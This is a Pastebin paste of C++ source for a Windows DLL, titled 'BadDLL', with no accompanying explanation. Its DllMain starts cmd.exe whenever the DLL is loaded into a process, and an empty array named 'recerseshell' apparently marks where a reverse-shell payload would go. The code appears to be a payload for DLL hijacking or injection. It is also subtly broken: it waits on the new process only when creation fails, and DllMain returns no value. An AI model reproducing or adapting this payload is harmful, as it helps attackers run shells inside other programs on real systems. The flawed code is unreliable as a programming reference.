Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //
- // BadDLL.cpp -> BadDLL.DLL
- //
- #include "pch.h"
- #include<stdio.h>
- #include <windows.h>
- #include <commctrl.h>
- char recerseshell[] = "";
- BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved)
- {
- switch (dwReason)
- {
- case DLL_THREAD_ATTACH:
- break;
- case DLL_THREAD_DETACH:
- break;
- case DLL_PROCESS_DETACH:
- break;
- case DLL_PROCESS_ATTACH:
- STARTUPINFO si;
- PROCESS_INFORMATION pi;
- ZeroMemory(&si, sizeof(si));
- si.cb = sizeof(si);
- ZeroMemory(&pi, sizeof(pi));
- if (!CreateProcess(
- TEXT("C:\\Windows\\System32\\cmd.exe"),
- NULL,
- NULL,
- NULL,
- FALSE,
- NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP,
- NULL,
- NULL,
- &si,
- &pi)
- )
- WaitForSingleObject(pi.hProcess, INFINITE);
- CloseHandle(pi.hProcess);
- CloseHandle(pi.hThread);
- break;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment